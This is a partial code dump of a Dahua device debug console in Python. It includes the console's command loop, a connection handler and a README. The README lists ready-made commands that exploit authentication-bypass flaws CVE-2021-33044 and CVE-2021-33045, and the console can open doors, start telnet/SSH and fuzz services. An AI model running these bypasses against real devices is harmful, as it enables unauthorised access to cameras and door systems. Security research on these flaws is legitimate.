Full Code of mcw0/DahuaConsole for AI

master 5711bc865e88 cached
15 files
289.5 KB
65.3k tokens
150 symbols
1 requests
Download .txt
Showing preview only (299K chars total). Download the full file or copy to clipboard to get everything.
Repository: mcw0/DahuaConsole
Branch: master
Commit: 5711bc865e88
Files: 15
Total size: 289.5 KB

Directory structure:
gitextract_a6zqxfdp/

├── .gitignore
├── Console.py
├── LICENSE
├── README.md
├── connection.py
├── dahua.py
├── dahua_logon_modes.py
├── events.py
├── eventviewer.py
├── net.py
├── pwdmanager.py
├── relay.py
├── requirements.txt
├── servers.py
└── utils.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
__pycache__/
.idea/
.git/
backup/
*.json
/venv/


================================================
FILE: Console.py
================================================
#!/usr/bin/env python3

"""
Author: bashis <mcw noemail eu> 2019-2021
Subject: Dahua Debug Console
"""
import argparse
import _thread

from utils import *
from pwdmanager import PwdManager
from dahua import DahuaFunctions
from servers import Servers


class DebugConsole(Servers):
    """ main init and loop for console I/O """
    """ If multiple Consoles is attached to one device, all attached Consoles will receive same output from device """
    def __init__(self, dargs):
        super(DebugConsole, self).__init__()

        self.dargs = dargs

        if self.dargs.dump or self.dargs.test:
            self.dump()
            return

        if self.dargs.restore:
            self.restore(self.dargs.restore)
            return

        self.main_console()

    #
    # Main console for instances
    #
    def main_console(self):

        #
        # Additional Cmd list
        #
        cmd_list = {
            'certificate': {
                'cmd': 'self.dh.get_remote_info("certificate")',
                'help': 'Dump some information of remote certificate',
            },
            'config': {
                'cmd': 'self.dh.config_members(msg)',
                'help': 'remote config (-h for params)',
            },
            'console': {
                'cmd': 'self.dh_console(msg)',
                'help': 'console instance handling (-h for params)',
            },
            'debug': {
                'cmd': 'self.debug_instance(msg)',
                'help': 'debug instance (-h for params)',
            },
            'device': {
                'cmd': 'self.dh.get_remote_info(msg)',
                'help': 'Dump some information of remote device',
            },
            'dhp2p': {
                'cmd': 'self.dh.get_remote_info("dhp2p")',
                'help': 'Dump some information of dhp2p',
            },
            'diag': {
                'cmd': 'self.dh.interim_remote_diagnose(msg)',
                'help': 'Interim Remote Diagnose (-h for params)',
            },
            'door': {
                'cmd': 'self.dh.open_door(msg)',
                'help': 'open door (-h for params)',
            },
            'events': {
                'cmd': 'self.dh.event_manager(msg)',
                'help': 'Subscribe on events from eventManager (-h for params)',
            },
            'fuzz': {
                'cmd': 'self.dh.fuzz_service(msg)',
                'help': 'fuzz service methods (-h for params)',
            },
            'ldiscover': {
                'cmd': 'self.dh.dh_discover(msg)',
                'help': 'Device Discovery from this script (-h for params)',
            },
            'dlog': {
                'cmd': 'self.dh.dlog(msg)',
                'help': 'Log stuff (-h for params)',
            },
            'network': {
                'cmd': 'self.dh.net_app(msg)',
                'help': 'Network stuff (-h for params)',
            },
            'memory': {
                'cmd': 'self.memory_info()',
                'help': 'Used memory of this script (-h for params)',
            },
            'pcap': {
                'cmd': 'self.dh.network_sniffer_manager(msg)',
                'help': 'remote device pcap (-h for params)',
            },
            'rdiscover': {
                'cmd': 'self.dh.device_discovery(msg)',
                'help': 'Device Discovery from remote device (-h for params)',
            },
            'service': {
                'cmd': 'self.dh.list_service(msg)',
                'help': 'List remote services and "methods" (-h for params)',
            },
            'sshd': {
                'cmd': 'self.dh.telnetd_sshd(msg)',
                'help': 'Start / Stop (-h for params)',
            },
            'setDebug': {
                'cmd': 'self.dh.set_debug()',
                'help': 'Should start produce output from Console in VTO/VTH',
            },
            'telnet': {
                'cmd': 'self.dh.telnetd_sshd(msg)',
                'help': 'Start / Stop (-h for params)',
            },
            'test-config': {
                'cmd': 'self.dh.new_config(msg)',
                'help': 'New config test (-h for params)',
            },
            'ldap': {
                'cmd': 'self.dh.set_ldap()',
                'help': 'LDAP test',
            },
            'uboot': {
                'cmd': 'self.dh.u_boot(msg)',
                'help': 'U-Boot Environment Variables (-h for params)',
            },
            '"quit"': {
                'cmd': 'self.dh_console(msg)',
                'help': '"quit" active instance "quit all" to quit from all',
            },
            '"reboot"': {
                'cmd': 'self.dh_console(msg)',
                'help': '"reboot" active instance "reboot all" to reboot all',
            },
            'REBOOT': {
                'cmd': 'self.dh.reboot()',
                'help': 'Try force reboot of remote',
            },
            'dh_test': {
                'cmd': 'self.dh.dh_test(msg)',
                'help': 'TEST function (-h for params)',
            },
            'usermgr': {
                'cmd': 'self.dh.user_manager(msg)',
                'help': 'User management (-h for params)',
            },
        }

        dh_data = None

        if not self.dargs.auth:
            dh_data = PwdManager().get_host(self.dargs.rhost)
            if not dh_data:
                log.failure(color('You need to use --auth <username>:<password>', RED))
                return False

        if self.dargs.events:
            _thread.start_new_thread(self.event_in_out_server, ())
            _thread.start_new_thread(self.terminate_daemons, ())

        try:
            #
            # Connect multiple pre-defined devices
            #
            if self.dargs.multihost and not (self.dargs.dump or self.dargs.test or self.dargs.auth or self.dargs.rhost):

                for host in range(0, len(dh_data)):
                    try:
                        self.connect_rhost(
                            rhost=dh_data[host].get('host'),
                            rport=dh_data[host].get('port'),
                            proto=dh_data[host].get('proto'),
                            username=dh_data[host].get('username'),
                            password=None,
                            events=self.dargs.events if self.dargs.events else dh_data[host].get('events'),
                            ssl=self.dargs.ssl,
                            relay_host=dh_data[host].get('relay'),
                            logon=dh_data[host].get('logon'),
                            timeout=5
                        )
                    except KeyboardInterrupt:
                        return False
                    except Exception as e:
                        print('MainConsole()', repr(e))
                        if e.args == ('Authentication failed.',):
                            return False
                        pass
                if not len(self.dhConsole):
                    return False
            #
            # Connect single device pre-defined/or w/ credentials from command line
            #
            else:
                if not self.connect_rhost(
                        rhost=self.dargs.rhost if self.dargs.auth else dh_data.get('host'),
                        rport=self.dargs.rport if self.dargs.auth else dh_data.get('port'),
                        proto=self.dargs.proto if self.dargs.auth else dh_data.get('proto'),
                        username=self.dargs.auth.split(':')[0] if self.dargs.auth else None,
                        password=self.dargs.auth.split(':')[1] if self.dargs.auth else None,
                        events=self.dargs.events if self.dargs.auth else dh_data.get('events'),
                        ssl=self.dargs.ssl,
                        relay_host=self.dargs.relay if self.dargs.auth else dh_data.get('relay'),
                        logon=self.dargs.logon if self.dargs.auth else dh_data.get('logon'),
                        timeout=5
                ):
                    return False
        except KeyboardInterrupt:
            return False
        except AttributeError as e:
            print(repr(e))
            log.failure('[MainConsole]')
            return False
        #
        # Main Console loop
        #
        while True:
            try:
                self.prompt()
                # Python 3: readline() returns str, no need to decode
                msg = sys.stdin.readline().strip()
                if not self.dh or not self.dh.remote.connected():
                    log.failure('No available instance')
                    return False
                cmd = msg.split()

                if msg:
                    if msg == 'shell' and not self.dargs.force:
                        log.failure("[shell] will execute and hang the Console/Device (DoS)")
                        log.failure("If you still want to try, run this script with --force")
                        continue
                    elif msg == 'exit' and not self.dargs.force:
                        log.failure("[exit] You really want to exit? (maybe you mean 'quit' this connection?)")
                        log.failure("If you still want to try, run this script with --force")
                        continue

                    command = None
                    for command in cmd_list:
                        if command == cmd[0]:
                            tmp = cmd_list[command]['cmd']
                            exec(tmp)
                            break
                    if command == cmd[0]:
                        continue

                    if self.dh.terminate:
                        # console kill self.dh
                        self.dh_console('console kill self.dh')
                        continue

                    if msg == 'quit' or len(cmd) == 2 and cmd[0] == 'quit' and cmd[1] == 'all':

                        if len(cmd) == 2 and cmd[1] == 'all':
                            self.quit_host(quit_all=True)
                            return True
                        if not self.quit_host(quit_all=False, msg=msg):
                            return False

                    elif msg == 'shutdown' or msg == 'reboot' or len(cmd) == 2 and cmd[1] == 'all':

                        if len(cmd) == 2 and cmd[1] == 'all':
                            self.quit_host(quit_all=True, msg=msg)
                            return True

                        if not self.quit_host(quit_all=False, msg=msg):
                            return False

                    elif msg == 'help':
                        self.dh.run_cmd(msg)
                        self.dh.subscribe_notify(status=True)
                        log.info("Local cmd:")
                        for command in cmd_list:
                            log.success("{}: {}".format(command, cmd_list[command]['help']))

                    else:
                        if not self.dh.run_cmd(msg):
                            log.failure("Invalid command: 'help' for help")
                            continue
                        self.dh.subscribe_notify(status=True)

            except KeyboardInterrupt:
                pass
            except EOFError as e:
                print('[Console]', repr(e))
                return False
#            except Exception as e:
#                print('[Console]', repr(e))
#                pass

    @staticmethod
    def memory_info():
        from resource import getrusage, RUSAGE_SELF
        memory = getrusage(RUSAGE_SELF).ru_maxrss
        if sys.platform == 'darwin':
            memory = memory / 1024
        log.info("Memory usage: {}".format(size(memory)))

    def set_config(self, key, table):
        method_name = 'configManager'
        self.dh.instance_service(method_name, start=True)
        object_id = self.dh.instance_service(method_name, pull='object')

        query_args = {
            "method": "configManager.setConfig",
            "params": {
                "table": table,
                "name": key,
            },
            "object": object_id,
        }
        log.info(f"Setting {key}")
        dh_data = self.dh.send_call(query_args)
        if not dh_data:
            return
        print(json.dumps(dh_data, indent=4))

    def restore(self, fd):
        self.connect()
        """ Restores configuration from json file"""
        config = json.loads(fd.read())
        for k, v in config['params']['table'].items():
            self.set_config(k, v)

    def connect(self):
        """ Handle the '--dump' options from command line """

        self.dhConsole = {}
        self.dhConsoleNo = 0
        self.udp_server = None

        if not self.connect_rhost(
                rhost=self.dargs.rhost,
                rport=self.dargs.rport,
                proto=self.dargs.proto,
                username=self.dargs.auth.split(':')[0] if self.dargs.auth else None,
                password=self.dargs.auth.split(':')[1] if self.dargs.auth else None,
                events=self.dargs.events,
                ssl=self.dargs.ssl,
                relay_host=self.dargs.relay,
                logon=self.dargs.logon,
                timeout=5
        ):
            return None

        if self.dargs.test:
            self.dh.dh_test('test')
            return None

    def dump(self):
        self.connect()
        if self.dargs.dump == 'config':
            self.dh.config_members("{} {}".format("config", self.dargs.dump_argv if self.dargs.dump_argv else "all"))
            self.dh.logout()
            return None
        elif self.dargs.dump == 'service':
            self.dh.listService("{} {}".format("service", self.dargs.dump_argv if self.dargs.dump_argv else "all"))
            self.dh.logout()
            return None
        elif self.dargs.dump == 'device':
            self.dh.getRemoteInfo('device')
            self.dh.logout()
            return None
        elif self.dargs.dump == 'discover':
            self.dh.deviceDiscovery("{} {}".format("discover", self.dargs.dump_argv))
            self.dh.logout()
            return None
        elif self.dargs.dump == 'test':
            self.dh.dh_test('test')
            self.dh.logout()
            return None
        elif self.dargs.dump == 'dlog':
            self.dh.dlog('test')
            self.dh.logout()
            return None
        else:
            log.error('No such dump: {}'.format(self.dargs.dump))
            return None

    def quit_host(self, quit_all=False, msg=None):
        """ Quit from single device, or 'all' """

        cmd = ''
        session = None
        if msg:
            cmd = msg.split()

        if quit_all:
            while True:
                for session in self.dhConsole:
                    log.warning("{}: {} ({})".format(
                        session,
                        self.dhConsole.get(session).get('device'),
                        self.dhConsole.get(session).get('host'),
                    ))
                    self.dh = self.dhConsole.get(session).get('instance')
                    if msg and len(cmd) == 2 and cmd[1] == 'all':
                        self.dh.cleanup()
                        self.dh.run_cmd(cmd[0])
                        if not self.dh.console_attach and cmd[0] == 'reboot':
                            self.dh.reboot(delay=2)
                    self.dh.logout()
                    self.dh.terminate = True
                    break
                del self.dh
                self.dhConsole.pop(session)
                if not len(self.dhConsole):
                    break
            if self.tcp_server:
                self.tcp_server.close()
            if self.udp_server:
                self.udp_server.close()
            return True
        else:
            for session in self.dhConsole:
                if self.dhConsole.get(session).get('instance') == self.dh:
                    log.warning("{}: {} ({})".format(
                        session,
                        self.dhConsole.get(session).get('device'),
                        self.dhConsole.get(session).get('host'),
                    ))
                    self.dh.cleanup()
                    self.dh.run_cmd(msg)
                    if not self.dh.console_attach and msg == 'reboot':
                        self.dh.reboot(delay=2)
                    self.dh.logout()
                    self.dh.terminate = True
                    self.dhConsole.pop(session)
                    del self.dh
                    break

            if not self.dh_instance():
                return False
            return True

    def dh_instance(self, show=False):
        """Show connected instance"""

        if not show:
            if not len(self.dhConsole):
                self.dh = False
                return False

            for session in self.dhConsole:
                self.dh = self.dhConsole.get(session).get('instance')
                break

        for session in self.dhConsole:
            log.info('Console: {}, Device: {} ({}) {} {}'.format(
                session,
                self.dhConsole.get(session).get('device'),
                self.dhConsole.get(session).get('host'),
                color('Active', GREEN) if self.dhConsole.get(session).get('instance') == self.dh else '',
                '{} {}'.format(
                    color(
                        '(calls)'.format(self.dhConsole.get(session).get('instance').debug), YELLOW)
                    if self.dhConsole.get(session).get('instance').debugCalls else '',

                    color(
                        '(traffic: {})'.format(self.dhConsole.get(session).get('instance').debug), YELLOW)
                    if self.dhConsole.get(session).get('instance').debug else '',
                )))
        return True

    @staticmethod
    def prompt():
        prompt_text = "\033[92m[\033[91mConsole\033[92m]\033[0m# "
        sys.stdout.write(prompt_text)
        sys.stdout.flush()

    def dh_console(self, msg):
        """Handling connection/kill of instance from main Console"""

        cmd = msg.split()

        usage = {
            "conn": {
                "all": "(connect all pre-defined devices)",
                "<username>": "<password> <host> [[<port>] | [ <dvrip | dhip | 3des> [<port>]]",
                "<host>": "(connect pre-defined device <host>)"
            },
            "kill": {
                "dh<#>": "(kill instance dh<#>)"
            },
            "dh<#>": "(switch active console. e.g. 'console dh0')"
        }

        if len(cmd) == 2 and cmd[1] == '-h':

            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        elif len(cmd) == 3 and cmd[1] == 'kill':

            if len(cmd) == 2:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True
            try:
                tmp = self.dhConsole.get(cmd[2]).get('instance')
            except AttributeError:
                log.failure('Console ({}) do not exist'.format(cmd[2]))
                return False

            self.dhConsole.pop(cmd[2])

            tmp.terminate = True
            tmp.logout()

            del tmp

            if not self.dh_instance():
                return False
            return True

        elif len(cmd) >= 2 and cmd[1] == 'conn':

            if len(cmd) > 2 and cmd[2] == '-h':
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return False

            if len(cmd) == 2 or len(cmd) == 3:

                dh_data = PwdManager().get_host()

                if len(cmd) == 2:
                    """ console conn """

                    for host in range(0, len(dh_data)):

                        conn = next(
                            (
                                session for session in self.dhConsole
                                if dh_data[host].get('host') == self.dhConsole.get(session).get('host')
                            ), None)
                        log.info('{} {}'.format(
                            dh_data[host].get('host'), 'Connected ({})'.format(color(conn, GREEN)) if conn else ''))

                    return True

                if cmd[2] == 'all':
                    """ console conn all """
                    for host in range(0, len(dh_data)):
                        if not self.connect_rhost(
                                rhost=dh_data[host].get('host'),
                                rport=dh_data[host].get('port'),
                                proto=dh_data[host].get('proto'),
                                username=dh_data[host].get('username'),
                                password=None,
                                events=self.dargs.events if self.dargs.events else dh_data[host].get('events'),
                                relay_host=dh_data[host].get('relay'),
                                ssl=self.dargs.ssl,
                                timeout=5):
                            pass
                    return True

                """ console conn <host> """
                host = check_host(cmd[2])

                if not host:
                    log.failure('"{}" not valid host'.format(cmd[2]))
                    return False

                dh_data = PwdManager().get_host(host=host)
                if not dh_data:
                    return False

                if not self.connect_rhost(
                        rhost=dh_data.get('host'),
                        rport=dh_data.get('port'),
                        proto=dh_data.get('proto'),
                        username=dh_data.get('username'),
                        password=None,
                        events=self.dargs.events if self.dargs.events else dh_data.get('events'),
                        ssl=self.dargs.ssl,
                        relay_host=dh_data.get('relay'),
                        timeout=5):
                    return False

                if not self.dh_instance(show=True):
                    return False
                return True

            elif len(cmd) == 4:
                log.failure('Need at least "rhost"')
                return False
            elif len(cmd) >= 5 and not len(cmd) > 5:
                rhost = cmd[4]
                rport = cmd[5] if len(cmd) == 6 else 37777
                proto = 'dvrip'
            elif len(cmd) >= 6 and cmd[5] == 'dhip':
                rhost = cmd[4]
                proto = cmd[5]
                rport = cmd[6] if len(cmd) == 7 else 5000
            elif len(cmd) >= 6 and cmd[5] == 'dvrip' or cmd[5] == '3des':
                rhost = cmd[4]
                proto = cmd[5]
                rport = cmd[6] if len(cmd) == 7 else 37777
            else:
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return False

            log.info('Connecting with "{}" to {}:{}'.format(proto, rhost, rport))
            if not self.connect_rhost(
                    # rhost=cmd[4],
                    rhost=rhost,
                    rport=rport,
                    proto=proto,
                    username=cmd[2],
                    password=cmd[3],
                    events=self.dargs.events,
                    ssl=self.dargs.ssl,
                    # TODO: add relay_host
                    # relay_host=,
                    timeout=5):
                return False

        elif len(cmd) == 2:

            if cmd[1] == '-h':
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return False

            try:
                self.dh = self.dhConsole.get(cmd[1]).get('instance')
            except AttributeError:
                log.failure("Console [{}] do not exist".format(cmd[1]))
                return

        if not self.dh_instance(show=True):
            return False
        return True

    def debug_instance(self, msg):
        """ Handle 'debug' command from main Console """

        cmd = msg.split()

        usage = {
            "object": "(dict with info about attached services)",
            "instance": "(dict with connection details of instance)",
            "calls": "<0|1> (debug internal calls)",
            "traffic": "(debug DHIP/DVRIP traffic)",
            "test": "test"
        }
        if not len(cmd) > 1:
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return

        if cmd[1] == 'object':
            self.dh.instance_service(method_name="", list_all=True)

        elif cmd[1] == 'test':
            object_methods = [
                method_name for method_name in dir(self.dh)
                if callable(getattr(self.dh, method_name))]
            print(object_methods)

        elif cmd[1] == 'instance':
            for dh in self.dhConsole:
                dh_data = '{}'.format(help_msg(dh))
                for key in self.dhConsole.get(dh):
                    dh_data += '[{}] = {}\n'.format(key, self.dhConsole.get(dh).get(key))
                log.info(dh_data)
            return True

        elif cmd[1] == 'calls':

            usage = {
                "calls": {
                    "0": "(debug off)",
                    "1": "(debug on)",
                }
            }

            if len(cmd) == 2 or len(cmd) == 3 and cmd[2] == '-h':
                log.info('{}'.format(help_all(msg=msg, usage=usage)))
                return True

            else:
                try:
                    if int(cmd[2]) < 0 or int(cmd[2]) > 1:
                        log.info('{}'.format(help_all(msg=msg, usage=usage)))
                        return False
                    self.dh.debugCalls = int(cmd[2])

                    log.info('{} {}: {}'.format(cmd[0], cmd[1], self.dh.debugCalls))

                except ValueError:
                    log.failure("Not valid debug code: {}".format(cmd[2]))
                    return False
                return True

        elif cmd[1] == 'traffic':
            usage = {
                "traffic": {
                    "0": "(debug off)",
                    "1": "(JSON traffic)",
                    "2": "(hexdump traffic)",
                    "3": "(hexdump + JSON traffic)",
                }
            }

            if len(cmd) == 2 or len(cmd) == 3 and cmd[2] == '-h':
                if len(cmd) <= 3:
                    log.info('{}'.format(help_all(msg=msg, usage=usage)))
                    return True
            else:
                try:
                    if int(cmd[2]) < 0 or int(cmd[2]) > 3:
                        log.info('{}'.format(help_all(msg=msg, usage=usage)))
                        return False
                    self.dh.debug = int(cmd[2])

                    log.info('{} {}: {}'.format(cmd[0], cmd[1], self.dh.debug))
                except ValueError:
                    log.failure("Not valid debug code: {}".format(cmd[2]))
                    return False
                return True

        else:
            log.failure('No such command ({})'.format(msg))
            return True


def main():
    banner = '[Dahua Debug Console 2019-2021 bashis <mcw noemail eu>]\n'

    proto_choices = [
        'dhip',
        'dvrip',
        '3des',
        'http',
        'https'
    ]
    logon_choices = [
        'wsse',
        'loopback',
        'netkeyboard',
        'onvif:plain',
        'onvif:digest',
        'onvif:onvif',
        'plain',
        'ushield',
        'ldap',
        'ad',
        'cms',
        'local',
        'rtsp',
        'basic',
        'old_digest',
        'old_3des',
        'gui'
    ]
    dump_choices = [
        'config',
        'service',
        'device',
        'discover',
        'log',
        'test'
    ]

    discover_choices = [
        'dhip',
        'dvrip'
    ]

    parser = argparse.ArgumentParser(description=('[*] ' + banner + ' [*]'))
    parser.add_argument('--rhost', required=False, type=str, default=None, help='Remote Target Address (IP/FQDN)')
    parser.add_argument('--rport', required=False, type=int, help='Remote Target Port')
    parser.add_argument(
        '--proto', required=False, type=str, choices=proto_choices, default='dvrip', help='Protocol [Default: dvrip]'
    )
    parser.add_argument(
        '--relay', required=False, type=str, default=None, help='ssh://<username>:<password>@<host>:<port>'
    )
    parser.add_argument(
        '--auth', required=False, type=str, default=None, help='Credentials (username:password) [Default: None]')
    parser.add_argument(
        '--ssl', required=False, default=False, action='store_true', help='Use SSL for remote connection')
    parser.add_argument(
        '-d', '--debug', required=False, default=0, const=0x1, dest="debug", action='store_const', help='JSON traffic'
    )
    parser.add_argument(
        '-dd', '--ddebug', required=False, default=0, const=0x2, dest="ddebug", action='store_const',
        help='hexdump traffic'
    )
    parser.add_argument(
        '--dump', required=False, default=False, type=str, choices=dump_choices, help='Dump remote config')
    parser.add_argument(
        '--restore', required=False, default=False, type=argparse.FileType('r'),
        help='Restores device config from json config')
    parser.add_argument('--dump_argv', required=False, default=None, type=str, help='ARGV to --dump')
    parser.add_argument('--test', required=False, default=False, action='store_true', help='test w/o login attempt')
    parser.add_argument(
        '--multihost', required=False, default=False, action='store_true', help='Connect hosts from "dhConsole.json"'
    )
    parser.add_argument(
        '--save', required=False, default=False, action='store_true', help='Save host hash to "dhConsole.json"'
    )
    parser.add_argument(
        '--events', required=False, default=False, action='store_true', help='Subscribe to events [Default: False]'
    )
    parser.add_argument('--discover', required=False, type=str, choices=discover_choices, help='Discover local devices')
    parser.add_argument(
        '--logon', required=False, type=str, choices=logon_choices, default='default', help='Logon types')
    parser.add_argument(
        '-f', '--force', required=False, default=False, action='store_true', help='Bypass stops for dangerous commands'
    )
    parser.add_argument('--calls', required=False, default=False, action='store_true', help='Debug internal calls')
    dargs = parser.parse_args()

    """ We want at least one argument, so print out help """
    if len(sys.argv) == 1:
        parser.parse_args(['-h'])

    log.info(banner)

    dargs.debug = dargs.debug + dargs.ddebug
    """
    if not dargs.relay:
        if dargs.proto == 'http' or dargs.proto == 'https':
            log.failure('proto "{}" works only with relay'.format(dargs.proto))
            return False
    """
    if dargs.logon in logon_choices:
        if dargs.proto not in ['dhip', 'http', 'https', '3des']:
            dargs.proto = 'dhip'
        if dargs.logon in ['loopback', 'netkeyboard']:
            if not dargs.auth:
                dargs.auth = 'admin:admin'

    if (dargs.proto == 'dvrip' or dargs.proto == '3des') and not dargs.rport:
        dargs.rport = 37777
    elif dargs.proto == 'dhip' and not dargs.rport:
        dargs.rport = 5000
    elif dargs.proto == 'http' and not dargs.rport:
        dargs.rport = 80
    elif dargs.proto == 'https' and not dargs.rport:
        dargs.rport = 443

    if dargs.ssl and not dargs.relay:
        if not dargs.force:
            log.failure("SSL do not fully work")
            log.failure("If you still want to try, run this script with --force")
            return False
        dargs.ssl = True
        if not dargs.rport:
            dargs.rport = '443'

    """ Check if RPORT is valid """
    if not check_port(dargs.rport):
        log.failure("Invalid RPORT - Choose between 1 and 65535")
        return False

    """ Check if RHOST is valid IP or FQDN, get IP back """
    if dargs.rhost is not None:
        if not check_host(dargs.rhost):
            log.failure("Invalid RHOST")
            return False

    if not dargs.discover:
        if dargs.rhost is None and not dargs.multihost:
            log.failure("[required] --multihost or --rhost")
            return False

    if dargs.ssl:
        log.info("SSL Mode Selected")

    if dargs.discover:
        if not dargs.rhost:
            if dargs.discover == 'dhip':
                """ Multicast """
                dargs.rhost = '239.255.255.251'
            elif dargs.discover == 'dvrip':
                """ Broadcast """
                dargs.rhost = '255.255.255.255'
        dh = DahuaFunctions(rhost=dargs.rhost, relay_host=dargs.relay, dargs=dargs)
        dh.dh_discover("ldiscover {} {}".format(dargs.discover, dargs.rhost))
    else:
        DebugConsole(dargs=dargs)

    log.info("All done")


if __name__ == '__main__':
    main()


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2021 bashis

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
# Dahua Console

- Version: Pre-alpha
- Bugs: Indeed
- TODO: Lots of stuff

[Install requirements]
```text
sudo pip3 install -r requirements.txt
```

[Arguments]
```text
  -h, --help            show this help message and exit
  --rhost RHOST         Remote Target Address (IP/FQDN)
  --rport RPORT         Remote Target Port
  --proto {dhip,dvrip,3des,http,https}
                        Protocol [Default: dvrip]
  --relay RELAY         ssh://<username>:<password>@<host>:<port>
  --auth AUTH           Credentials (username:password) [Default: None]
  --ssl                 Use SSL for remote connection
  -d, --debug           JSON traffic
  -dd, --ddebug         hexdump traffic
  --dump {config,service,device,discover,log,test}
                        Dump remote config
  --dump_argv DUMP_ARGV
                        ARGV to --dump
  --test                test w/o login attempt
  --multihost           Connect hosts from "dhConsole.json"
  --save                Save host hash to "dhConsole.json"
  --events              Subscribe to events [Default: False]
  --discover {dhip,dvrip}
                        Discover local devices
  --logon {wsse,loopback,netkeyboard,onvif:plain,onvif:digest,onvif:onvif,plain,ushield,ldap,ad,cms,local,rtsp,basic,old_digest,gui}
                        Logon types
  -f, --force           Bypass stops for dangerous commands
  --calls               Debug internal calls
```
---
[Release]

[Update]
2022-07-10

- Added 3des_old logon method for VTH1510CH running V2 software from 2016
  - Minor difference in the login packet data
  - Do not query device parameters on connect - will reset the connection
- Added `--restore config-file.json`
  - Loads json configuration file or parts thereof.

Example:

`./Console.py --rhost 192.168.1.x --proto 3des --auth admin:admin  --logon old_3des --dump config`

[Update]

2021-10-07

Details here: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt

2021-10-06


[CVE-2021-33044]

Protocol needed: DHIP or HTTP/HTTPS (DHIP do not work with TLS/SSL @TCP/443)
```text
[proto: dhip, normally using tcp/5000]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 5000

[proto: dhip, usually working with HTTP port as well]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 80

[proto: http/https]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto http --rport 80
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto https --rport 443
```

[CVE-2021-33045]

Protocol needed: DHIP (DHIP do not work with TLS/SSL @TCP/443)
```text
[proto: dhip, normally using tcp/5000]
./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 5000

[proto: dhip, usually working with HTTP port as well]
./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 80
```
---



================================================
FILE: connection.py
================================================
from utils import *
from pwdmanager import PwdManager
from dahua import DahuaFunctions


class DahuaConnect(object):
    def __init__(self):
        super(DahuaConnect, self).__init__()

        self.dh = None
        self.dhConsole = {}
        self.dhConsoleNo = 0

        self.udp_server = None
        self.tcp_server = None
        self.dargs = None

    def restart_connection(self, host):
        """ Handle restart of connections, trying every 30sec for 10 times, if no success, stop trying """
        log.info('Scheduling reconnect to {}'.format(host))

        dh_data = PwdManager().find_host(host)
        times = 0

        while True:
            time.sleep(30)
            try:
                if not self.connect_rhost(
                        rhost=dh_data.get('host'),
                        rport=dh_data.get('port'),
                        proto=dh_data.get('proto'),
                        username=dh_data.get('username'),
                        password=None,
                        events=dh_data.get('events'),
                        ssl=self.dargs.ssl,
                        relay_host=dh_data.get('relay'),
                        logon=dh_data.get('logon'),
                        timeout=5):
                    print('[restart_connection] ({})'.format(times))
                    times += 1
                else:
                    return True
            # except Exception:
            except AttributeError:
                log.failure('[restart_connection] ({})'.format(host))
                pass

            if times == 10:
                log.failure('See you in valhalla {}'.format(host))
                return False

    def connect_rhost(
            self, rhost=None, rport=0, proto=None, username=None, password=None, events=None,
            ssl=None, relay_host=None, logon=None, timeout=0):
        """ Handling connection(s) to remote device """

        """ Check if RPORT is valid """
        if not check_port(rport):
            log.failure("Invalid RPORT - Choose between 1 and 65535")
            return False

        """ Check if RHOST is valid IP or FQDN, get IP back """
        if not check_host(rhost):
            return False

        for session in self.dhConsole:
            if self.dhConsole.get(session).get('host') == rhost:
                log.warning('Already connected to {}'.format(rhost))
                return False

        """ Needed for get 'self.udp_server' set """
        time.sleep(1)

        dh = DahuaFunctions(
            rhost=rhost,
            rport=rport,
            proto=proto,
            events=events,
            ssl=ssl,
            relay_host=relay_host,
            timeout=timeout,
            udp_server=self.udp_server,
            dargs=self.dargs
        )

        try:
            if not dh.dh_connect(username=username, password=password, logon=logon, force=self.dargs.force):
                return False
        except PwnlibException as e:
            print('[connect_rhost.dh_connect()]', repr(e))
            return False

        self.dh = dh
        if not self.dargs.test:
            self.dhConsole.update({
                'dh' + str(self.dhConsoleNo): {
                    'instance': self.dh,
                    'host': rhost,
                    'proto': proto,
                    'port': rport,
                    'device': self.dh.DeviceType,
                    'logon': logon,
                    'relay': relay_host,
                }
            })
            self.dhConsoleNo += 1

        return True


================================================
FILE: dahua.py
================================================
import copy

from Crypto.PublicKey import RSA
from OpenSSL import crypto
from pathlib import Path

""" Local imports """
from utils import *
from net import Network


class DahuaFunctions(Network):
    """ Dahua instance """
    def __init__(
            self, rhost=None, rport=None, proto=None, events=False, ssl=False,
            relay_host=None, timeout=5, udp_server=True, dargs=None
    ):
        super(DahuaFunctions, self).__init__()

        self.rhost = rhost
        self.rport = rport
        self.proto = proto
        self.events = events
        self.ssl = ssl
        self.relay_host = relay_host
        self.timeout = timeout
        self.udp_server = udp_server
        self.args = dargs

        self.debug = dargs.debug
        self.debugCalls = dargs.calls				# Some internal debugging

        self.fuzzServiceDB = {}				# Used when fuzzing services

        self.DeviceType = '(null)'

        self.networkSnifferPath = None
        self.networkSnifferID = None
